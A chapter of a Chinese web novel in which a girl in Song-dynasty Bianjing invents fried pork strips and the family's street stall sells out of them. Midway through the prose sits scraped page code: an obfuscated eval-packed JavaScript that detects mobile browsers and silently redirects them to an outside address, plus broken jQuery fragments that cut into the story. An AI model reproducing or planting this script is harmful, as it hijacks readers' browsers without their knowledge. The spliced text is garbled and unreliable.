19. 第十九章

作品:《汴京暴富日常

    晚上的时候,徐竹筱把炸猪肉条放在桌子上。


    徐竹卿刚从书院回来,换了一身家常的青衫,洗净了手,看着那一堆金灿灿的东西,眉眼里带着笑意:“这是什么新鲜吃食?我在院门口就闻见了。”


    “哥,你尝尝。”


    徐竹卿夹起一根,那肉条外壳酥脆,轻轻一咬,里面的肉汁便迸发出来。


    没有一丝猪肉的腥臊气,反倒是有一股淡淡的异香,混合着肉香和油脂香,在舌尖上炸开。


    徐竹卿原本只是想浅尝辄止,毕竟君子不重口腹之欲。


    可这一口下去,他的眼睛瞬间亮了。


    紧接着是第二口,第三口。


    苏棠原本是心疼钱的,一边念叨着“五十文一斤呢”,一边也夹了一根放进嘴里。


    “咔嚓。”


    苏棠的念叨声戛然而止。


    她嚼了几下,咽下去,又迅速夹了一根。


    “这……这真是猪肉?”苏棠瞪大了眼睛,“怎的比那羊肉还香?一点都不柴,外头这壳子也不硬,酥得掉渣。”


    徐竹筱笑得像只小狐狸:“娘,这叫秘方。”


    徐竹卿放下筷子,端起茶杯喝了一口,正色道:“筱娘,这手艺,便是樊楼里的大师傅,怕是也不过如此。我那同窗曾带过樊楼的‘炸紫酥肉’,虽说那是名菜,可吃着太油,倒不如你这个清爽干脆,回味悠长。”


    听到“樊楼”两个字,苏棠的眼睛更亮了。


    那是汴京城里数一数二的销金窟,里头的一道菜,够她们家吃一个月的。


    “这就比樊楼的还好吃了?”苏棠立刻换了一副面孔,那是生意人特有的精明,“筱娘,这东西,咱们铺子里能卖不?”


    “自然是能的。”徐竹筱点点头。


    “那怎么卖?”苏棠的筷子在空中虚点了一下,“这一斤猪肉就要五十文,若是加上油钱、面钱、还有你说的那些劳什子药材钱,本钱可不低。若是卖便宜了,咱们得赔死;若是卖贵了,按斤称,一百文一斤?谁买得起啊?”


    徐家这铺子开在街边,来的多是街坊邻居和过路的苦力,若是定个天价,只怕是看的人多,买的人少。


    徐竹卿也微微皱眉,他在书院读圣贤书,对这些市井买卖虽不精通,却也知道民生艰难。


    “若是按斤卖,确实难销。”徐竹卿沉吟道,“寻常人家,买两肉都要算计半天。”


    徐竹筱早就想好了。


    她伸出一根手指头,晃了晃。


    “咱们不按斤卖。”


    “那怎么卖?按根?”苏棠问。


    “按份,一份大概也就一两多一点,咱们就卖十文钱。”


    “十文?”苏棠眉头一皱,“这也太便宜了吧?咱们那炸菜糊还要五文钱一份呢。”


    “娘,您算算账。”徐竹筱掰着手指头,“一斤生肉五十文,做出来近两斤熟肉。也就是二十两。咱们若是分成十五六份卖,一份十文,那就是一百五十多文。去掉肉钱五十文,油钱料钱再算三十文,这一斤肉,咱们净赚七八十文呢!”


    苏棠一听这账,眼珠子飞快地转了两圈。


    一百五十文减去八十文……


    这利润,竟然比卖炸菜糊还高!


    而且,最关键的是——


    “十文钱,能吃上肉。”徐竹筱一语道破天机,“那些做苦力的,或者是带孩子的妇人,若是花几十文买斤肉回去做,舍不得。可若是花十文钱,买个嘴瘾,解个馋,谁掏不出来?”


    这叫低门槛,高利润。


    抓住了人们“想吃肉又嫌贵”的心理。


    苏棠一拍大腿:“成!就听你的!明儿个就卖!”


    徐竹卿看着妹妹侃侃而谈的样子,眼中闪过一丝讶异,随即化作浓浓的骄傲。


    他妹妹就是厉害。


    第二天一大早,徐家炸货铺还没开张,那股子霸道的肉香味儿就已经顺着风飘满了半条街。


    街坊邻居们都纳闷。


    “老徐家这是发财了?大早上的炖肉吃?”


    “不对啊,这是油炸的味儿,香得不行!”


    等到铺板卸下来,苏棠往那一站,那气势都不一样了。


    案板上单独放着一个大笸箩,里头堆成了小山的炸肉条,色泽金红,在晨光下泛着油润的光泽。


    “哟,苏娘子,今儿这是添新菜了?”隔壁卖烧饼的老王头探头过来看,“这是啥好东西?”


    “炸肉条!”苏棠嗓门洪亮,“纯猪肉的!十文钱一份!”


    “十文?”老王头一愣,“这么便宜?全是肉?”


    “那还有假!您瞧瞧!”苏棠夹起一根,直接掰开,露出里头粉嫩多汁的瘦肉丝,“童叟无欺,全是好肉,加了秘制香料腌的!”


    老王头咽了口唾沫。


    十文钱,买个烧饼还要三文呢。


    “给我来一份尝尝鲜!”老王头掏出十个铜板拍在案上。


    苏棠麻利地装了一小纸包,递了过去。


    老王头当场捏起一根扔进嘴里。


    “咔嚓。”


    脆响之后,老王头的眼睛眯了起来,一脸陶醉:“哎哟我的娘咧,这也太香了!这味儿绝了!比那馆子里的都好吃!”


    这一声吆喝,就像是点着了引线。


    原本还在观望的路人,一下子都围了过来。


    “十文钱一份?给我来一份!”


    “我要两份!带回去给孩子尝尝!”


    “这可是肉啊!十文钱就能吃肉?快快快,给我装一份!”


    这年头,普通百姓肚子里都缺油水。


    平时买那炸素菜,也是为了那点油星子。如今只多花几文钱,就能吃到实打实的肉,这账谁都会算!


    哪怕那分量不多,可那是肉啊!


    甚至有些原本觉得徐家素菜糊糊卖得贵、不舍得买的人,这会儿也都掏了钱。


    在他们看来,素菜卖二十文钱是坑人,可肉卖十文钱,那是捡了大便宜!


    不过半个时辰的功夫,铺子前头就排起了长龙。


    苏棠收钱收得手都软了,脸上的褶子都笑开了花。


    赵娘子在后头负责炸,根本供不上卖。


    “苏娘子!没货了!这还得腌一会儿呢!”赵娘子急得满头大汗,手里的漏勺都快挥出残影了。


    “哎哟,这可咋整!”苏棠看着外头那一双双如狼似虎盯着笸箩的眼睛,又喜又急。


    就在这时,徐竹筱掀开帘子走了出来。


    她今儿穿了一身利落的短褐,头发用一根木簪子挽起,显得格外精神。


    “娘,您只管收钱,后头我来!”


    徐竹筱径直走到油锅前,接过赵娘子手里的活计。


    “赵婶子,您去切肉拌料,我来炸。”


    徐竹筱一上手,那架势就不一样。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956745|193160||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她能同时看顾两口锅,左手控温,右手捞肉,动作行云流水,不慌不忙。


    “这肉条怎么还没好啊?”外头有客人催促。


    “好嘞!这就出锅!”徐竹筱脆生生地应道。


    她手腕一抖,满满一漏勺金灿灿的肉条破油而出,带着滚烫的热气和扑鼻的异香,哗啦啦地倒进笸箩里。


    那声音,听在排队的人耳朵里,简直比仙乐还动听。


    苏棠看着女儿这般能干,心里那个美啊,一边数钱一边跟客人炫耀:“瞧见没,这是我家筱娘,这方子就是她琢磨出来的!”


    徐竹筱在烟火气中抬起头,擦了一把额角的汗。


    看着那些拿着纸包、一脸满足地把肉条塞进嘴里的客人们,尤其是那些个眼巴巴盯着肉条流口水的孩童,在吃到第一口时露出的那种纯粹的幸福表情。


    她心里忽然觉得,这买卖,做得值。


    只是忙乱间,她眼角的余光似乎瞥见人群外头,有个穿着青色书生袍的小小身影一闪而过。


    那是昨日那个指路的小少年?


    徐竹筱手上的动作顿了一下,想要看仔细些,可那人影就像是被风吹散的云,瞬间就淹没在熙熙攘攘的人群里,再也寻不见了。


    “小老板!这儿再来三份!”


    “来了!”


    徐竹筱收回目光,开始专心致志的炸。


    日头西斜,金红的霞光给这热火朝天的铺子镀上了一层暖意。


    徐竹筱手里的漏勺终于停了下来,最后一点油渣也被她仔细地捞起,放在一边的小碗里。


    “没了没了!各位街坊邻居,今儿个的肉全卖完了!”苏棠嗓子都有点哑,却掩不住那股子兴奋劲儿,她站起身,冲着后面还在探头探脑的人群摆摆手,“想吃的明儿个请早!”


    人群里发出一阵失望的叹息。


    “这就没啦?我还想尝尝那十文钱的肉啥味儿呢!”


    “苏娘子,你这也太不地道了,咋就备这点货?”


    苏棠也不恼,笑眯眯地拿着抹布擦手:“哎哟,我的老哥哥诶,谁能想到大家伙这么给面子?这可是整整五斤精肉,要是搁在往常,咱自家吃都能吃个十天半个月的,谁知道这点功夫就让大家给抢光了?”


    她这话说的漂亮,既捧了客人,又暗戳戳地炫耀了一把自家生意红火。


    徐竹筱在旁边抿嘴笑,她这娘亲,虽然平时风风火火的,可这做生意的嘴皮子,那是真利索。


    虽然肉没了,可那些排了半天队的客人也不甘心空手而归。


    “那……那个炸菜糊还有没?给我来两份吧,闻着这油味儿我也走不动道了。”


    “有!这个管够!”赵娘子早就备好了不少素菜料,一听这话,立马又忙活起来。


    这就像是起了个头,那些没买着肉的,本着“来都来了”的心态,或者是被这满街飘着的油香勾起了馋虫,纷纷掏出几文钱,买点炸菜糊带回去。


    毕竟,这油锅里刚炸过肉,这素菜上也沾着那股子荤腥气,吃起来也比自家做得香不是?


    等到最后一抹夕阳沉入屋脊,铺子里终于清静了下来。


    三个女人累得几乎瘫坐在长凳上,连说话的力气都快没了。


    而后赵娘子起身回了自己家,她算是下班了。


    临走的时候苏棠叫住了她,额外给了十文,说今儿太忙了,算是额外给的。